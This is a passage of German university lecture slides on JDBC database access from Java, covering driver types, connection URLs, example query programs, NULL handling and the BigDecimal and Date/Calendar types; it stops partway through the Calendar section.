Datenbank-Programmierung

Kapitel 12: JDBC (DB-Zugriff aus Java)

Prof. Dr. Stefan Brass

Martin-Luther-Universität Halle-Wittenberg

Sommersemester 2022

http://www.informatik.uni-halle.de/~brass/dbp22/

Lernziele

Nach diesem Kapitel sollten Sie Folgendes können:

- Einfache Java-Programme mit JDBC-Datenbankzugriff schreiben (und ausführen, z.B. Probleme mit Treiber lösen).

  Java-Programmierkenntnisse werden vorausgesetzt (z.B. aus der Vorlesung „Objektorientierte Programmierung“ im ersten Semester).

- Erklären, was „SQL Injection“ Angriffe sind, und was man dagegen tun kann (und muss!).

Beispiel-Datenbank

STUDENTEN

SID	VORNAME	NACHNAME	EMAIL
101	Lisa	Weiss	···
102	Michael	Grau	NULL
103	Daniel	Sommer	···
104	Iris	Winter	···

BEWERTUNGEN

SID	ATYP	ANR	PUNKTE
101	H	1	10
101	H	2	8
101	Z	1	12
102	H	1	9
102	H	2	9
102	Z	1	10
103	H	1	5
103	Z	1	7

AUFGABEN

ATYP	ANR	THEMA	MAXPT
H	1	ER	10
H	2	SQL	10
Z	1	SQL	14

Inhalt

1. Einleitung
2. Verbindung zur DB
3. Anfragen und Updates
4. Spezielle Datentypen
5. Prepared Statements
6. Sonstiges

Einführung zu JDBC (1)

- JDBC („Java Database Connectivity“) ist eine API, um aus Java-Programmen auf Datenbanken zuzugreifen.

  JDBC ist Teil des JDK fast von Beginn an (seit Version 1.1, 19.02.1997).

  JDBC 4.0 war in Java SE 6 enthalten (2006). Aktuell: JDBC 4.3 (in Java SE 9).

- JDBC war an Microsofts ODBC (Open DB Connectivity) angelehnt, aber mit einer objektorientierten Schnittstelle.

  Eine abgemagerte Version von ODBC wurde Teil des SQL-Standards (SQL/CLI: Call Level Interface).

- Ein Ziel von ODBC/JDBC ist es, die Datenbank leicht austauschbar zu machen:
  - Das Programm kommuniziert mit einem Treiber-Manager,
  - der läd zur Laufzeit einen Treiber für das gewünschte DBMS,
  - der Treiber vermittelt dann zwischen Programm und DBMS.

Einführung zu JDBC (2)

- So wie ein Druckertreiber eine einheitliche Schnittstelle für Drucker zur Verfügung stellt, erlaubt ein JDBC-Treiber, mit einem Programm auf unterschiedliche DBMS zuzugreifen.

  Natürlich kann er die Unterschiede nicht ganz verschwinden lassen (dann könnte man nur eine kleine Schnittmenge nutzen), aber es gibt Funktionen, um die Fähigkeiten eines DBMS abzufragen. Bekannte Kompatibilitätsprobleme wie Konstanten für Datums-Typen können in der Anfrage markiert werden, und werden dann vom Treiber systemspezifisch ersetzt. Es gibt auch Treiber, die SQL selbst implementieren, und z.B. Zugriffe auf Dateien oder Spreadsheets erlauben. Mindestens SQL-92 Entry Level muss unterstützt werden.

- Damit man ein DBMS über JDBC nutzen kann, muss es natürlich einen JDBC-Treiber für das spezielle DBMS geben.

  Tatsächlich reicht auch ein ODBC Treiber, weil es eine allgemeine JDBC-ODBC-Brücke gibt (einen JDBC-Treiber, der das DBMS dann über ODBC anspricht). Für fast alle DBMS gibt es inzwischen eigene JDBC-Treiber.

Einführung zu JDBC (3)

- Die JDBC Klassen liegen in den Paketen
  - `java.sql`
    [https://docs.oracle.com/javase/8/docs/api/java/sql/package-summary.html]
  - `javax.sql`
    [https://docs.oracle.com/javase/8/docs/api/javax/sql/package-summary.html]
- Die „JDBC-Homepage“ ist:
  [https://www.oracle.com/technetwork/java/javase/jdbc/]

  Java wurde von Sun entwickelt, Sun wurde von Oracle gekauft. Inzwischen werden auf der Seite auch andere Java-Datenbank-Technologien wie JDO und Java DB (Apache Derby) erwähnt.
- Ein Einführungs-Tutorial von Sun findet sich hier:
  [https://docs.oracle.com/javase/tutorial/jdbc/basics/]

Java Datenbanken

- Es gibt auch SQL Datenbanken, die in Java geschrieben sind, und die man im „Single User Modus“ direkt mit seinem Java-Programm ausliefern kann, so dass keine getrennte Installation nötig ist:
  - HSQLDB: [http://hsqldb.org/]
  - Apache Derby: [http://db.apache.org/]
- Selbstverständlich werden auch diese Datenbanken im Programm über JDBC angesprochen.
- Beide haben alternativ auch einen Client-Server-Modus.
- Datenbanken, die wie eine Bibliothek in ein Programm eingebunden werden, und für den Nutzer nicht als getrenntes System sichtbar sind, heißen auch „Embedded Databases“.

Inhalt

1. Einleitung
2. Verbindung zur DB
3. Anfragen und Updates
4. Spezielle Datentypen
5. Prepared Statements
6. Sonstiges

Arten von JDBC-Treibern (1)

- Typ 1: JDBC-ODBC Bridge:
  Ein existierender ODBC-Treiber wird genutzt.

  Dies war eine Brückentechnologie, als es am Anfang noch für sehr wenige Datenbanken JDBC-Treiber gab. Es erfordert natürlich, dass auf jedem Client ein ODBC-Treiber installiert wird, und ODBC konfiguriert wird. Außerdem ist es nicht optimal hinsichtlich der Effizienz.

- Typ 2: Native-API Driver:
  Dieser übersetzt JDBC-Aufrufe auf die native API des jeweiligen DBMS auf dem Client-Rechner.

  Das bedeutet, dass die Client Software des jeweiligen DBMS auf jedem Client-Rechner installiert werden muss. Java ruft diese Software dann über JNI (Java Native Interface) auf. Die Netzwerk-Verbindung zum Server läuft über das native Protokoll des jeweiligen DBMS.
  Der „Oracle-OCI JDBC Driver“ ist von diesem Typ.

Arten von JDBC-Treibern (2)

- Typ 3: JDBC-Net Driver:
  JDBC-Aufrufe werden vom Client über ein DBMS-unabhängiges Protokoll zum Server geschickt, dort ist dann die Umsetzung auf die DBMS-spezifische Schnittstelle.

  Auf dem Server gibt es also einen „Middleware Server“, der das JDBC-Net Protokoll versteht und die Kommunikation mit dem DBMS regelt.
  Auf dem Client ist nur das Java-Programm zu installieren.

- Typ 4: Native Protocol Java Driver:
  Setzt die JDBC-Aufrufe auf dem Client in das native Netzwerk-Protokoll des DBMS um. „Pure Java“.

  Auch dies erfordert keine spezielle Installation auf dem Client, da der JDBC-Treiber vollständig in Java geschrieben ist und keine weitere Software nötig ist. Da direkt mit dem DBMS-Server kommuniziert wird (ohne weitere Indirektion) ist dies vermutlich die schnellste Lösung.
  Der Oracle Thin JDBC driver ist von diesem Typ.

Verbindung zur Datenbank (1)

- Die Datenbank wird über eine „Database Connection URL“ ausgewählt. Diese hat den Aufbau:

  „`jdbc`:⟨Subprotocol⟩:⟨Subname⟩“.

- Das „⟨Subprotocol⟩“ ist typischerweise der DBMS-Name (bzw. Treiber-Name), z.B. `postgresql`.

- Der „⟨Subname⟩“ hängt vom „Subprotocol“ ab, ist also DBMS-spezifisch.

- Häufig enthält er Host (Server) und Port in der Notation

  „//⟨Host⟩:⟨Port⟩/⟨Subsubname⟩“.

  Dies ist aber nicht Vorschrift, nicht alle Treiber halten sich daran.

- Der „⟨Subsubname⟩“ könnte den Namen der Datenbank und weitere Information enthalten.

Verbindung zur Datenbank (2)

- Bei PostgreSQL sind folgende Formen der „Database Connection URL“ möglich:
  - `jdbc:postgresql:database`
  - `jdbc:postgresql:/`
  - `jdbc:postgresql://host/database`
  - `jdbc:postgresql://host/`
  - `jdbc:postgresql://host:port/database`
  - `jdbc:postgresql://host:port/`
- Wenn der Host nicht angegeben ist, ist es `localhost`.

  Man kann Namen oder IP-Nummern verwenden, um den Server-Rechner zu identifizieren. IPv6-Adressen müssen in `[...]` geschrieben werden.
- Wenn der Port nicht angegeben ist, ist es `5432`.
- Wenn die Datenbank fehlt, heißt sie wie der Nutzer.

Verbindung zur Datenbank (3)

- Da die „Database Connection URL“ systemspezifisch ist, muss man sie in der Anleitung des jeweiligen DBMS bzw. des Treibers nachschauen.
- Es gibt im Internet auch Sammlungen von Beispielen für verschiedene Systeme, z.B.

  [http://www.benchresources.net/jdbc-driver-list-and-url-for-all-databases/]

- Z.B. Oracle: `jdbc:oracle:thin@`⟨Host⟩`:`⟨Port⟩`:`⟨Database⟩

  Oracle hat verschiedene Treiber. Der Oracle Thin Driver ist ein „Native Protocol Java Driver“.

- Z.B. MySQL: `jdbc:mysql//`⟨Host⟩`:`⟨Port⟩`/`⟨Database⟩

Verbindung zur Datenbank (4)

- Weitere Parameter zur Verbindung können teilweise auch in der URL angegeben werden, z.B. nach „?“ oder „;“.
- Bei PostgreSQL ist Folgendes möglich:

  `jdbc:postgresql://localhost/db?user=sb&password=x&ssl=true`

  Die Parameter in PostgreSQL sind recht vielfältig und dokumentiert auf der Seite [https://jdbc.postgresql.org/documentation/94/connect.html]
- Man kann es aber auch in ein Objekt der Klasse `Properties` (im Paket `java.util`) verpacken.

  [https://docs.oracle.com/javase/8/docs/api/java/util/Properties.html]
- Beispiel:

```
Properties props = new Properties();
props.setProperty("user", "sb");
...
```

Verbindung zur Datenbank (5)

- Zuerst muss man mit der statischen Methode `getConnection` der Klasse `DriverManager` (im Paket `java.sql`) eine Verbindung zur Datenbank aufbauen.

  [https://docs.oracle.com/javase/8/docs/api/java/sql/DriverManager.html]

- Die Methode gibt es in drei überladenen Varianten:
  - `getConnection(String url)`
  - `getConnection(String url, Properties info)`
  - `getConnection(String url, String user, String pw)`
- Der Aufruf liefert ein Objekt vom Typ `Connection` (Interface in `java.sql`).

  [https://docs.oracle.com/javase/8/docs/api/java/sql/Connection.html]

Verbindung zur Datenbank (6)

```
 (1)  // Erstes JDBC Beispiel:
 (2)  // Nur Test der Verbindung zur DB
 (3)
 (4)  import java.sql.Connection;
 (5)  import java.sql.DriverManager;
 (6)  import java.sql.SQLException;
 (7)
 (8)  public class TestConn {
 (9)
(10)      private static final String url =
(11)          "jdbc:postgresql://localhost/sb";
(12)      private static final String user = "sb";
(13)      private static final String pass = "";
(14)
```

Verbindung zur Datenbank (7)

```
(15)      public static void main(String[] args) {
(16)          Connection conn = null;
(17)          try {
(18)              conn = DriverManager.
(19)                  getConnection(url, user, pass);
(20)              System.out.println("Connected.");
(21)          } catch (SQLException e) {
(22)              System.out.println(e.getMessage());
(23)          }
(24)          ...
(25)      }
(26)  }
```

Praktische Hinweise zu PostgreSQL

- Damit man das obige Programm ausführen kann, muss man zunächst den PostgreSQL JDBC-Treiber installieren (herunterladen).
- Es ist ein eigenes Projekt:

  [https://jdbc.postgresql.org/index.html]

  Eigentlich braucht man nur eine `jar`-Datei, die man auf dieser Seite herunterladen kann, z.B. `postgresql-42.2.5.jar`.
  Bei Linux-Distributionen würde man aber den Paketmanager verwenden,
  z.B. bei CentOS/RedHat: `sudo yum install postgresql-jdbc`.
  Die API-Dokumentation ist im Paket `postgresql-jdbc-javadoc`.
  Die `jar`-Datei steht anschließend in `/usr/share/java/postgresql-jdbc.jar`
  Bei Ubuntu: `sudo apt-get install lib-postgresql-jdbc-java`
  Dokumentation im Paket: `lib-postgresql-jdbc-java-doc`.
  Siehe z.B. [https://www.youtube.com/watch?v=nAG9vvg7rII]

Java Classpath

- Das Java-Programm übersetzt man wie bekannt mit

  ```
  javac TestConn.java
  ```

- Wenn man das Programm nun wie üblich mit „`java TestConn`“ ausführt, bekommt man die Meldung

  ```
  No suitable driver found for
                  jdbc:postgresql://localhost/sb
  ```

- Die `jar`-Datei des JDBC-Treibers muss im Klassenpfad sein:

  ```
  java -cp .:/usr/share/java/postgresql-jdbc.jar \
       TestConn
  ```

  Die `jar`-Datei muss natürlich für Ihr System passen. Es könnte z.B. auch `postgresql-42.2.5.jar` sein. Es reicht auch nicht, dass die `jar`-Datei im gleichen Verzeichnis steht. Man kann auch die Umgebungsvariable `CLASSPATH` entsprechend setzen, damit man nicht bei jedem Aufruf die Datei angeben muss.

- Unter Windows ist das Trennzeichen „;“: `-cp ".;pg.jar"`

Laden von JDBC-Treibern: Alte Methode

- Vor JDBC 4.0 musste man die Treiber-Klasse explizit laden:

  ```
  Class.forName("org.postgresql.Driver");
  ```

  Der Klassenname ist systemabhängig, z.B. MySQL: `com.mysql.jdbc.Driver`.
  Jeder JDBC-Treiber muss das Interface `java.sql.Driver` implementieren.
  [https://docs.oracle.com/javase/7/docs/api/java/sql/Driver.html]
  Die Klasse enthält einen `static { ... }` Codeblock, der beim Laden der Klasse automatisch ausgeführt wird. Damit registriert sich der Treiber beim `DriverManager`. Wenn man will, kann man das `Class.forName` noch verwenden, es ist aber überflüssig.

- Seit JDBC 4.0 erkennt der `DriverManager` die `jar`-Dateien für JDBC-Treiber an der Datei

  ```
  META-INF/services/java.sql.Driver
  ```

  im Archiv, die den Namen der Treiber-Klasse enthält.

  Eine `jar`-Datei ist ein `zip`-Archiv, man kann es mit `unzip` entpacken.

Sicherheitshinweise

- Es ist natürlich nicht toll, wenn Passworte explizit im Programm stehen.

  Oder in einer für alle Nutzer lesbaren Konfigurationsdatei. Übrigens sind `class`-Dateien leicht wieder in relativ lesbaren Java-Text zu verwandeln. Besonders problematisch ist es, wenn Nutzer zwar über das Programm mit der Datenbank arbeiten sollen, aber man keinen direkten Datenbank-Zugriff (mit `psql`) erlauben will. Es wäre sinnvoll, wenn jeder Nutzer auch über das Programm einen eigenen DB-Account hat (Zugriffsrechte im DBMS).

- Wenn das Programm unter einem Account ausgeführt wird, der sich ohne Passwort mit der Datenbank verbinden kann, hätte man dieses Problem nicht.

  Mindestens unter UNIX/Linux ist es möglich, dass ein Programm mit den Rechten des Besitzers läuft, aber andere Nutzer es aufrufen können (setuid-Bit). Teilweise wird das DB-Passwort verschlüsselt gespeichert, aber dann muss man den Schlüssel speichern (gleiches Problem) oder vom Nutzer eingeben lassen.

DataSource

- Es gibt noch eine Alternative zum oben gezeigten Ansatz:
  - Bei Verwendung der Klasse `DataSource` (in `javax.sql`) wird die Information zu DBMS und DBMS-Login ausgelagert.

    [https://docs.oracle.com/javase/8/docs/api/javax/sql/DataSource.html]
  - Sie findet sich dann in der `JNDI` (Java Naming and Directory Interface) Konfiguration.

    [https://docs.oracle.com/javase/8/docs/technotes/guides/jndi/index.html]
  - Das ist nützlich, wenn man einen Application Server hat, der viele Java-Programme ausführt.
  - Über diese Schnittstelle ist „Connection Pooling“ möglich (Verwendung einer DB-Verbindung für mehrere Prozesse).

    Datenbank-Verbindungen sind eine begrenzte Resource. Außerdem kostet die Eröffnung relativ viel Zeit.

Inhalt

1. Einleitung
2. Verbindung zur DB
3. Anfragen und Updates
4. Spezielle Datentypen
5. Prepared Statements
6. Sonstiges

Übersicht

- Ablauf einer einfachen JDBC-Anwendung (Anfrage):
  - Aufbau einer Datenbank-Verbindung (`Connection` Objekt):
    `conn = DriverManager.getConnection(url, user, pw);`

    [https://docs.oracle.com/javase/8/docs/api/java/sql/Connection.html]
  - Erzeugen eines `Statement`-Objektes:
    `stmt = conn.createStatement();`

    [https://docs.oracle.com/javase/8/docs/api/java/sql/Statement.html]
  - Ausführen der Anfrage (liefert `ResultSet` Objekt):
    `rs = stmt.exececuteQuery("SELECT ...")`

    [https://docs.oracle.com/javase/8/docs/api/java/sql/ResultSet.html]
  - Benutzen der `ResultSet`-Methoden `next()`, `getString(col)`, etc. zur Ergebnis-Abfrage.

Exception

- Fast alle Methoden können eine Exception der Klasse `SQLException` (in `java.sql`) liefern.

  [https://docs.oracle.com/javase/8/docs/api/java/sql/SQLException.html]

- Dies ist eine „checked Exception“, für die die „catch or throws“ Regel gilt: Fängt man sie in einer Methode nicht ab, muss man deklarieren, dass die Methode ggf. die Exception liefert:

  ```
  Connection openDBConn() throws SQLException {
  ```

- Diese Exception Klasse hat eine Methode

  `String getSQLState()`,

  die einen Zustandscode aus dem SQL Standard liefert.

  Leider gibt es zwei relevante Standards: XOPEN und SQL:2003. Man kann mit `conn.getMetaData()` ein Objekt der Klasse `DatabaseMetaData` bekommen, dies hat eine Method `getSQLStateType` zur Unterscheidung.

Einfaches Beispiel (1)

- Die wichtigsten Methoden des `Statement` Objekts sind:
  - `executeQuery(String)`, um eine SQL-Anfrage auszuführen. Sie liefert ein `ResultSet` Objekt.
  - `executeUpdate(String)`, um eine SQL-Anweisung auszuführen, die keine Anfrage ist (z.B. `INSERT`).

    Sie liefert die Anzahl Zeilen, die von dem Update betroffen waren.
- Bei einem `ResultSet`-Objekt kann man mit der Methode `next()` die aktuelle Position zur nächsten Zeile bewegen.

  Die Methode `next()` muss auch vor der ersten Zeile aufgerufen werden (das Anfrage-Ergebnis könnte ja leer sein). Die Methode liefert `false`, wenn es keine weiteren Zeilen gibt. Es ist wichtig, das `ResultSet`-Objekt am Ende mit der Methode `close()` zu schließen. Erst dann kann das zugehörige `Statement`-Objekt für eine neue Anfrage verwendet werden.

Einfaches Beispiel (2)

- Wenn die aktuelle Position eines `ResultSet`-Objekts auf eine Zeile zeigt (nach Aufruf von `next()` mit Ergebnis `true`), kann man `get...`-Methoden verwenden, um Spaltenwerte der aktuellen Zeile abzufragen.
  - Diese Methoden können mit einer Spaltennummer (1, 2, ...) oder einem Spaltennamen als Argument aufgerufen werden.

    Der Vergleich der Spaltennamen ist case-insensitiv. Es wird die erste Spalte mit passendem Namen ausgewählt, in Zweifelsfällen verwende man `AS` in der SQL-Anfrage. Wenn maximale Effizienz wichtig ist, sollte man Nummern verwenden.
  - Abhängig vom Ergebnistyp verwende man `getString`, `getInt`, etc.

    Diese Methoden führen automatisch die notwendigen Typumwandlungen durch. Z.B. kann man `getString` selbst dann verwenden, wenn das Ergebnis numerisch ist.

Einfaches Beispiel (3)

```
 (1)  import java.sql.Connection;
 (2)  import java.sql.DriverManager;
 (3)  import java.sql.SQLException;
 (4)  import java.sql.Statement;
 (5)  import java.sql.ResultSet;
 (6)
 (7)  public class SimpleQuery {
 (8)
 (9)      private static final String url =
(10)            "jdbc:postgresql://localhost/sb";
(11)      private static final String user = "sb";
(12)      private static final String password = "";
(13)
(14)      public static void main(String[] args) {
(15)
```

Einfaches Beispiel (4)

```
(16)        // Datenbank-Verbindung oeffnen:
(17)        Connection conn = null;
(18)        try {
(19)            conn = DriverManager.
(20)                   getConnection(url, user,
(21)                          password);
(22)            System.out.println(
(23)                   "Connected successfully.");
(24)        } catch (SQLException e) {
(25)            System.out.println(e.getMessage());
(26)            System.exit(1);
(27)        }
(28)
```

Einfaches Beispiel (5)

```
(29)        // Anfrage ausfuehren:
(30)        String query =
(31)            "SELECT S.NACHNAME, B.PUNKTE " +
(32)            "FROM STUDENTEN S, BEWERTUNGEN B " +
(33)            "WHERE S.SID = B.SID " +
(34)            "AND B.ATYP = 'H' AND B.ANR = 1";
(35)        Statement stmt = null;
(36)        ResultSet rs = null;
(37)        try {
(38)            stmt = conn.createStatement();
(39)            rs = stmt.executeQuery(query);
(40)            while(rs.next()) {
(41)                String stud = rs.getString(1);
(42)                int points = rs.getInt(2);
(43)                System.out.println(
(44)                    stud + ": " + points);
(45)            }
```

Einfaches Beispiel (6)

```
(46)            // Fehler in Anfrage behandeln:
(47)            } catch (SQLException e) {
(48)                System.out.println(e.getMessage());
(49)
(50)            // Alles schliessen:
(51)            } finally {
(52)
(53)                // Resultset schliessen:
(54)                try {
(55)                    if(rs != null)
(56)                        rs.close();
(57)                } catch (SQLException e) {
(58)                    System.out.println(
(59)                            e.getMessage());
(60)                }
(61)
```

Einfaches Beispiel (7)

```
(62)                // Statement schliessen:
(63)                try {
(64)                    if(stmt != null)
(65)                        stmt.close();
(66)                } catch (SQLException e) {
(67)                    System.out.println(
(68)                            e.getMessage());
(69)                }
(70)            }
(71)            // Verbindung schliessen:
(72)            try {
(73)                conn.close();
(74)            } catch (SQLException e) {
(75)                System.out.println(e.getMessage());
(76)            }
(77)        }
(78)    }
```

Beispiel mit try-with-resources (1)

- Java hat seit Version 7 das „try-with-resources“ Statement, mit dem das Beispiel kürzer formuliert werden kann:

```
try(Typ Var = Init) {Block} catch(...) {Handler}
```

- „`Typ`“ muss das Interface `AutoCloseable` implementieren.

  Das Interface hat nur eine Methode: `close()`.

  [https://docs.oracle.com/javase/8/docs/api/java/lang/AutoCloseable.html]

- Es darf keine weiteren Zuweisungen an die Variable geben.

- Es ist garantiert, dass `Var.close()` aufgerufen wird.

  Sofern nicht schon „`Init`“ eine Exception wirft.

- Der optionale `catch`-Block „`Handler`“ fängt Exceptions in der Initialisierung „`Init`“, im `try`-Block „`Block`“, und im automatischen „`Var.close()`“.

Beispiel mit try-with-resources (2)

```
 (1)  // Anfang wie gehabt:
 (2)  import java.sql.Connection;
 (3)  import java.sql.DriverManager;
 (4)  import java.sql.SQLException;
 (5)  import java.sql.Statement;
 (6)  import java.sql.ResultSet;
 (7)
 (8)  public class SimpleQuery2 {
 (9)
(10)      private static final String url =
(11)              "jdbc:postgresql://localhost/sb";
(12)      private static final String user = "sb";
(13)      private static final String password = "";
(14)
(15)      public static void main(String[] args) {
(16)
```

Beispiel mit try-with-resources (3)

```
(17)          String query =
(18)              "SELECT S.NACHNAME, B.PUNKTE " +
(19)              "FROM STUDENTEN S, BEWERTUNGEN B " +
(20)              "WHERE S.SID = B.SID " +
(21)              "AND B.ATYP = 'H' AND B.ANR = 1";
(22)
(23)          // Hier try-with-resources:
(24)          try(
(25)              Connection conn = DriverManager.
(26)                  getConnection(url,user,password);
(27)              Statement stmt =
(28)                  conn.createStatement();
(29)              ResultSet rs =
(30)                  stmt.executeQuery(query);
(31)          ) {
```

Beispiel mit try-with-resources (4)

```
(32)                // Im try-Block wie gehabt
(33)                // Schleife ueber Anfrage-Ergebnis:
(34)                while(rs.next()) {
(35)                    String stud = rs.getString(1);
(36)                    int points = rs.getInt(2);
(37)                    System.out.println(
(38)                        stud + ": " + points);
(39)                }
(40)                // Die Variablen conn, stmt und rs
(41)                // werden automatisch geschlossen.
(42)            } catch (SQLException e) {
(43)                System.out.println(e.getMessage());
(44)            }
(45)        }
(46)    }
```

Nullwerte

- Wenn der abgefragte Spaltenwert `NULL` ist, liefert `getInt` den Zahlwert `0`.

  Entsprechend bei den anderen primitiven numerischen Typen: `getByte`, `getShort`, `getLong`, `getFloat`, `getDouble`.

- Man kann mit der Methode

  ```
  boolean wasNull()
  ```

  abfragen, ob der letzte mit `get*` geholte Wert `NULL` war.

- Bei Methoden wie `getString`, die ein Java-Objekt liefern, werden Nullwerte auf die Null-Referenz `null` abgebildet.

- Es ist natürlich auch möglich, die gewünschte Abbildung des Nullwerts in der SQL-Anfrage zu machen, z.B. mit `COALESCE(EMAIL, 'keine')`.

Inhalt

1. Einleitung
2. Verbindung zur DB
3. Anfragen und Updates
4. Spezielle Datentypen
5. Prepared Statements
6. Sonstiges

Spezielle Datentypen: BigDecimal

- Die Klasse `java.math.BigDecimal` ist die natürliche Entsprechung der `NUMERIC`-Typen. Einen Spaltenwert als `BigDecimal` bekommt man mit `getBigDecimal(...)`.

  [https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html]

- Die Klasse hat im wesentlichen zwei Komponenten:
  - `unscaledValue()` liefert die Dezimalziffern als beliebig lange ganze Zahl vom Typ `java.math.BigInteger`,

    [https://docs.oracle.com/javase/8/docs/api/java/math/BigInteger.html]

    Mit `intValueExact()` kommt man zu einem `int`. Wenn der Wert zu groß für ein `int` ist, gibt es eine `ArithmeticException`.

    Bei `intValue()` gibt es keine Exception, aber ggf. einen falschen Wert.
  - `scale()` liefert die Anzahl Stellen, um die das Komma nach links zu verschieben ist (`int`-Wert, ggf. auch < 0).
- Natürlich gibt es auch Methoden zum Rechnen, z.B. `add(...)`.

Beispiel: Halbe Punkte

- Die Spalte `PUNKTE` hat den Typ `NUMERIC(4,1)`.

  Nur halbe und ganze Punkte: `CHECK(MOD(PUNKTE*10,10) IN (0, 5))`.

- Wenn man den Wert mit `getInt(...)` abfragt, wird immer abgerundet.

  Zumindest in PostgreSQL und MS SQL Server.

- Man könnte in der SQL-Anfrage `PUNKTE*2` oder `PUNKTE*10` berechnen, und dann `getInt(...)` verwenden.

- Zum Ausdrucken reicht der Wert als Zeichenkette: `getString(...)` konvertiert die Zahl automatisch.

- `getBigDecimal(...)` liefert ein Objekt `p` mit:
  - `p.scale()`: 1
  - `p.unscaledValue().intValueExact()`: 10-fache Punkte.

Spezielle Datentypen: Date (1)

- Datumswerte fragt man mit der Funktion `getDate` ab, die einen Wert der Klasse `java.sql.Date` liefert.

  [https://docs.oracle.com/javase/8/docs/api/java/sql/Date.html]

- Diese Klasse ist eine Unterklasse von `java.util.Date`.

  [https://docs.oracle.com/javase/8/docs/api/java/util/Date.html]

- `java.util.Date` enthält trotz des Namens auch eine Uhrzeit.

  Gespeichert werden die Millisekunden seit dem `01.01.1970 00:00:00.000 GMT` als `long` Wert (64 Bit), auch negative Zahlen sind möglich. Der Bereich erstreckt sich bis ca. 292 Millionen Jahre vor Christus. Nach oben ist der Bereich (mindestens in `java.sql.Date`) bis 8099 begrenzt ($9999 - 1900$, wegen der komischen Repräsentation des Jahres y als $y - 1900$). In der Subklasse `java.sql.Date` sollen die Zeitanteile so gesetzt werden, dass sie in Lokalzeit genau 0:00 GMT entsprechen. Der 02.01.1970 wird z.B. in Deutschland als 82800000 repräsentiert, was 23:00 ist (MEZ = GMT+1h).

Spezielle Datentypen: Date (2)

`java.sql.Date`:

- `toString()`: Konvertiert das Datum in eine Zeichenkette im Format `YYYY-MM-DD`.
- `valueOf(String s)`: Statische Methode, die einen String `YYYY-MM-DD` in ein `java.sql.Date` Objekt konvertiert.

  Man darf hier Tag und Monat auch einstellig schreiben.
- `setTime(long l)`: Ändert Wert entsprechend der Anzahl `l` von Millisekunden seit 1.1.1970 0:00.
- `getTime()`: Liefert Anzahl Millisekunden seit 1.1.1970 0:00.
- `new Date(long l)`: Erzeugt Datums-Objekte für gegebene Anzahl Millisekunden seit 1.1.1970 0:00.

  Die aktuelle Zeit erhält man mit `System.currentTimeMillis()`.

Spezielle Datentypen: Date (3)

- Weil `java.util.Date` die Internationalisierung nicht unterstützt, wurde `java.util.Calendar` eingeführt.

  [https://docs.oracle.com/javase/8/docs/api/java/util/Calendar.html]

- Die Methoden zur Abfrage von Tag, Monat, Jahr in `java.util.Date` sind „deprecated“ (veraltet/überholt), sollen also nicht mehr verwendet werden ($\rightarrow$ `Calendar`).

- Noch verwenden kann man die Vergleichsmethoden von `java.util.Date`:
  - `boolean before(Date d)`
  - `boolean after(Date d)`
  - `boolean equals(Date d)` (vergleicht Millisekunden)
  - `int compareTo(Date d)` implementiert `Comparable<Date>`

Spezielle Datentypen: Date (4)

- Folgendermaßen erstellt man ein `Calendar`-Objekt aus einem `java.util.Date` Objekt, für das man auch die Subklasse `java.sql.Date` einsetzen kann:

```
Date d = resultset.getDate(1);
Calendar cal = Calendar.getInstance();
cal.setTime(d);
```

- Nun kann man die verschiedenen Komponenten abfragen:

```
int day = cal.get(Calendar.DAY_OF_MONTH);
```

Weitere Konstanten zur Identifikation von Komponenten: Folie 46 und Folie 47.

- Von einem `Calendar`-Objekt `cal` zu einem `Date`-Objekt kommt man über die Anzahl Millisekunden:

```
Date d = new Date(cal.getTimeInMillis());
```

Spezielle Datentypen: Date (5)

Konstanten für Datums-Komponenten von Calendar:

- `ERA`: Eine der Konstanten `GegorianCalendar.BC` bzw. `AD`
- `YEAR`
- `MONTH`: Achtung! Wertebereich 0–11!

  Es gibt Konstanten `Calendar.JANUARY`, ..., `Calendar.DECEMBER`.
- `WEEK_OF_MONTH`
- `WEEK_OF_YEAR`
- `DAY_OF_MONTH`
- `DAY_OF_WEEK` (Konstanten `Calendar.SUNDAY`, ...),
- `DAY_OF_YEAR`

Spezielle Datentypen: Date (6)

Konstanten für Zeit-Komponenten von Calendar:

- `HOUR_OF_DAY` (im 24h System, Werte 0–23)
- `HOUR` (im am/pm System, also Werte 0–11)

  `Calendar.AM` oder `Calendar.PM`.
- `MINUTE`
- `SECOND`
- `MILLISECOND`
- `ZONE_OFFSET` (Unterschied durch Zeitzone, ms)

  Dies schließt die Sommerzeit nicht mit ein.
- `DST_OFFSET` (Unterschied durch Sommerzeit, in ms)

Spezielle Datentypen: Date (7)

Klasse Calendar:

- Die Klasse `java.util.Calendar` ist eine abstrakte Oberklasse mit Subklassen wie `GregorianCalendar`.

  Man erzeugt Objekte mit den statischen Methoden `Calendar.getInstance`.

- Objekte der Klasse `java.util.Calendar` enthalten:
  - Zeitstempel (Millisekunden seit 1.1.1970)

    Genauer enthält ein `Calendar`-Objekt zwei verschiedene Repräsentationen des Zeitstempels: Einmal als einzelne Komponenten `int fields[]`, und einmal als Millisekunden `long time` (wird bei `get` synchronisiert).
  - Zeitzone (Objekt der Klasse `java.util.TimeZone`)

    [https://docs.oracle.com/javase/8/docs/api/java/util/TimeZone.html]
  - Spracheinstellungen (Objekt der Klasse `java.util.Locale`)

    [https://docs.oracle.com/javase/8/docs/api/java/util/Locale.html]

Spezielle Datentypen: Date (8)

Klasse Calendar, Forts.:

- `Calendar.getInstance()` liefert ein `Calendar`-Objekt für den aktuellen Zeitpunkt und der Zeitzone sowie Spracheinstellungen des ausführenden Rechners.
- Man kann die Zeitzone setzen:
  `Calendar.getInstance(TimeZone ts)`

  Erzeugen z.B. mit `TimeZone.getTimeZone("Europe/Berlin")`.
- Man kann die Spracheinstellungen setzen:
  `Calendar.getInstance(Locale l)`

  Es gibt Konstanten wie `Locale.GERMANY` oder `Locale.US`. Man kann eine `Locale` auch über ISO-Codes für Sprache, ggf. Land und ggf. Variante erzeugen, z.B. `new Local(String lang, String country)`.
- Beides: `Calendar.getInstance(TimeZone ts, Locale l)`

Spezielle Datentypen: Date (9)

Klasse Calendar, Forts.:

- Folgende Methoden dienen zum Setzen des Zeitpunkts:
  - `set(int field, int value)`

    Für die einzelnen Felder gibt es Konstanten wie `Calendar.YEAR` (s.u.).
  - `set(int year, int month, int dayOfMonth)`

    Man denke daran, dass Monate von `0` gezählt werden, z.B. März=2.
  - `set(int y, int m, int d, int hourOfDay, int min)`
  - `set(int y, int m, int d, int h, int min, int sec)`
  - `setTime(Date date)`
  - `setTimeInMillis(long millis)`
- Die Zeitzone setzt man mit `setTimeZone(TimeZone ts)`.

Spezielle Datentypen: Date (10)

Klasse Calendar, Forts.:

- Folgende Methoden dienen zur Abfrage des Zeitpunkts:
